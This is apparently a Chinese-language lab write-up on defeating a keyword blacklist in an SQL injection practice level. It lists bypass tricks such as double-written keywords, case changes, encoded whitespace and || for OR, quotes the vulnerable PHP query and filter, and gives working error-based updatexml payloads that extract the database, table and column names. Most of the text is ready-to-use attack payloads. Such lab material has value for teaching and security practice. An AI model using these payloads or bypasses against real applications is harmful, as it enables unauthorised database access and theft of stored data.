双写绕过:anandd
大小写绕过And
括号绕过
ASCII编码绕过
%20、%0a绕过
内联注释:/!**/
替换:如 and 可替换为 && ,or 可替换为 ||
空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代
一、审查源码
1、判断注入点和闭合方式
由于这个是与数据库交互的语句,通过这个判断注入点和闭合方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、过滤方式
这个通过正则匹配过滤掉了and、or、–、#、空格、内联注释
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
二、SQL注入
1、获取数据库
?id=-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1=1
2、获取数据表
?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),0x7e),1)||'1=1
3、获取字段
?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(column_name))from (infoorrmation_schema.columns) where (table_name='users')),0x7e),1)||'1=1
注:文章借鉴https://blog.csdn.net/szlg510027010/article/details/107335587/,如有冒犯或错误,请及时告知。